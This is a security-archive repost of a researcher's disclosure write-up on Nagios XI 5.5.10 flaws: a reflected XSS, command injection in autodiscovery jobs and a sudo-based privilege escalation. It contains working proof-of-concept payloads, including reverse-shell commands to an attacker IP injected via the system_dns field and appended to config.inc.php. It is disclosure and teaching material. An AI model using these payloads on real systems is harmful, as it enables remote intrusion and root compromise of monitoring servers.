what you don't know can hurt you

Nagios XI 5.5.10 XSS / Remote Code Execution

Nagios XI 5.5.10 XSS / Remote Code Execution
Posted Apr 12, 2019
Authored by Abdel Adim Oisfi

Various vulnerabilities have been found in Nagios XI version 5.5.10, which allow a remote attacker able to trick an authenticated victim (with "autodiscovery job" creation privileges) to visit a malicious URL to obtain a remote root shell via a reflected cross site scripting, an authenticated remote code Execution and a local privilege escalation.

tags | exploit, remote, shell, local, root, vulnerability, code execution, xss
advisories | CVE-2019-9164, CVE-2019-9165, CVE-2019-9166, CVE-2019-9167, CVE-2019-9202, CVE-2019-9203, CVE-2019-9204
MD5 | a57f6817171de50e793d88c586dbe05c

Nagios XI 5.5.10 XSS / Remote Code Execution

Change Mirror Download
Nagios XI 5.5.10: XSS to #

Pubblicato dapolict 10 Aprile 2019

Tl;dr

A remote attacker could trick an authenticated victim (with “autodiscovery job” creation privileges) to visit a malicious URL and obtain a remote root shell via a reflected Cross-Site Scripting (XSS), an authenticated Remote Code Execution (RCE) and a Local Privilege Escalation (LPE).



Introduction

A few months ago I read about some Nagios XI vulnerabilities which got me interested in studying it a bit by myself. For those of you who don’t know what Nagios XI is I suggest you have a look at their website.

Fortunately, around that same time the team I am part of in Shielder chose to start spending one week each month to research or 0day discovery projects. These vulnerabilities are part of the ones I have found during that week, you can read about all of them at the security disclosures page. My target was to find an unauthenticated remote code execution with zero interaction needed, which I couldn’t find in that time span, maybe I’ll have a second look sometime in the future 🙂


Disclaimers


these vulnerabilities were found during [18-22]/02/2019, this blogpost is based on my notes and memory – if you find anything inaccurate leave a comment and I’ll correct it
filepaths and line numbers reported here are related to version 5.5.10, they might have changed since then
comments in the code reported here have been written by me
I haven’t checked the patches for these vulnerabilities
I haven’t investigated which release(s) introduced these vulnerabilities

Table of contents

0. first look at the source code
1. XSS to RCE
2. $ to #
3. one cl1ck one r00t
4. final notes
0. first look at the source code

Nagios offers quite a few options in order to try Nagios XI, with a 60 days trial which allows you to understand the architecture and try all the functionalities. During my test I used the OVA provided, however I suppose that’s a standard installation and the other options are the same.

By reading the code used on the web interface we can see a lot of files are not obfuscated and seemingly even commented. The first vulnerability I’ve found is a reflected XSS through an iframe tag creation, which is in nagiosxi/basedir/html/includes/pageparts.inc.php at line 552, function get_window_frame_url():


$xiwindow = grab_request_var("xiwindow", ""); // this reads the GET/POST parameters, the second arg is the fallback value
if ($xiwindow != "") {
$rawurl = urldecode($xiwindow);
}
[...]
$a = parse_url($rawurl);
if (isset($a["host"])) {
[...]
} else {
$windowurl = $a["path"] . "?";
}
[...]
return encode_form_valq($windowurl);


Since parse_url() can be tricked into parsing a malicious URL via the xiwindow parameter, we can inject any URL in the resulting iframe src attribute:


$ php -r 'var_dump(parse_url("a:javascript:alert(1)//"));'
array(2) {
["scheme"]=>
string(1) "a"
["path"]=>
string(21) "javascript:alert(1)//"
}


PoC

http://nagiosxi.local/nagiosxi/about/index.php?xiwindow=a:javascript:alert(1)//


XSS to RCE

Now that we have the privileges of an authenticated user we can start looking at the authenticated pages. As the documentation suggests autodiscovery jobs allow a user to setup a scheduled scan of a specific subnet, along with many other options. That functionality resides in nagiosxi/basedir/html/includes/components/autodiscovery/autodiscovery.inc.php, at line 191 there’s an interesting function called autodiscovery_component_get_cmdline:


function autodiscovery_component_get_cmdline($jobid)
{
[...]
$system_dns = grab_array_var($jarr, "system_dns", "off"); // <- this comes from the user
[...]
if ($system_dns == "on") {
$system_dns = "--system-dns=1";
}
[...]
$cmd = "rm -f " . $xml_file . "; touch " . $watch_file . "; sudo /usr/bin/php " . $script_dir . "autodiscover_new.php --addresses=\"" . escapeshellcmd($address) . "\" --exclude=\"" . escapeshellcmd($exclude_address) . "\" --output=" . $xml_file . " --watch=" . $watch_file . " --onlynew=0 --debug=1 " . $osd . " " . $topod . " " . $scan_delay . " " . $system_dns . " > " . $out_file . " 2>&1 & echo $!";

return $cmd;
}

I know, this code looks super-vulnerable™, but if you analyze it most of the time the inputs are sanitized at different steps (many times using escapeshellcmd instead of escapeshellarg) and the exploitability level is lower than it seems.

As you can see the system_dns parameter ends up in the command line string which is going to be executed. The other variables which end in the string are sanitized, not under user-control or called differently than the user-supplied ones so this “trick” doesn’t work.

PoC

POST /nagiosxi/includes/components/autodiscovery/?mode=newjob HTTP/1.1
Host: nagiosxi.local
Content-Type: application/x-www-form-urlencoded
Content-Length: 310
Connection: close
Cookie: nagiosxi=8rspko6npt4lkfqcvo9u5i70b2

update=1&job=-1&nsp=d333dca41f296fae9327eecdce86332176ed6bfc82c352e3276751ecedd6f172&address=192.168.1&exclude_address=&frequency=Once&hour=09&minute=00&ampm=AM&dayofweek=1&dayofmonth=1&os_detection=on&scandelay=&system_dns=%3bbash+-i+>%26+/dev/tcp/192.168.13.37/31337+0>%261%3b&topology_detection=&updateButton=

Now we have command execution as apache:nagios.

$ to #

It is possible to escalate our privileges to root by exploiting the script /usr/local/nagiosxi/scripts/repair_databases.sh which is runnable as root by our user without password, as sudo -l states.

Reading that script we find on line 12:

[...]
BASEDIR=$(dirname $(readlink -f $0)) # /usr/local/nagiosxi/scripts
[...]
eval $(php $BASEDIR/import_xiconfig.php) # wow, this looks dangerous
[...]


We do not have write privileges on that file, but let see what it does:

[...]
require_once("/usr/local/nagiosxi/html/config/config.inc.php");
[...]


For those of you not familiar with PHP, all require_once does is interpret the source code of another file during the interpretation of the current file. It is useful in modular and object-oriented projects.

Checking the permissions on such file confirms we do have read/write privileges:
$ ls -lah '/usr/local/nagiosxi/html/config/config.inc.php'
-rw-rw-r--. 1 nagios nagios 8.4K Feb 18 18:38 /usr/local/nagiosxi/html/config/config.inc.php

We can poison it in order to inject arbitrary commands during the repair_databases.sh script execution and obtain root privileges.

PoC

$ echo 'print("bash -i >& /dev/tcp/192.168.13.37/31337 0>&1;");' >> '/usr/local/nagiosxi/html/config/config.inc.php' && sudo /usr/local/nagiosxi/scripts/repair_databases.sh

One cl1ck one r00t

These vulnerabilities can be chained together in order to craft a malicious URL which when visited by a victim (authenticated in Nagios XI and with the ‘autodiscover job’ privileges) is going to trigger our vulnerabilities and provide us with a remote root shell.

PoC creation is left as exercise for the reader 🙂

Final notes

As I said earlier, by looking at the source code the security bugs seems to be patched on single vulnerabilities basis instead of implementing a safe way or guidelines to do common actions (such as executing CLI commands). However, that’s just a feeling I got by reading about the historical security bugs and the source code itself, the reality might be different.

Besides that, the communication with the developers was really smooth and they released a patch quickly.
Timeline

20/02:

—> 20/02 1st report sent
<— ACK

25/02:

—> 25/02 2nd report sent
<— ACK
Released Nagios IM 2.2.7 with fixes for 2nd report

27/02: MITRE assigned CVEs

1st report:

CVE-2019-9164 –> Remote code execution via new autodiscovery job
CVE-2019-9165 –> SQL Injection via API and malicious user id
CVE-2019-9166 –> Privilege escalation apache:nagios -> root
CVE-2019-9167 –> XSS in iframe creation

2nd report:

CVE-2019-9202 –> Remote code execution in Nagios IM
CVE-2019-9203 –> Authorization bypass in Nagios IM
CVE-2019-9204 –> SQL Injection in Nagios IM

28/02:

Released Nagios XI 5.5.11 with fixes for 1st report

10/04:

Public release

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

June 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    1 Files
  • 2
    Jun 2nd
    2 Files
  • 3
    Jun 3rd
    19 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    15 Files
  • 6
    Jun 6th
    12 Files
  • 7
    Jun 7th
    11 Files
  • 8
    Jun 8th
    1 Files
  • 9
    Jun 9th
    1 Files
  • 10
    Jun 10th
    15 Files
  • 11
    Jun 11th
    15 Files
  • 12
    Jun 12th
    15 Files
  • 13
    Jun 13th
    8 Files
  • 14
    Jun 14th
    16 Files
  • 15
    Jun 15th
    2 Files
  • 16
    Jun 16th
    1 Files
  • 17
    Jun 17th
    18 Files
  • 18
    Jun 18th
    15 Files
  • 19
    Jun 19th
    15 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close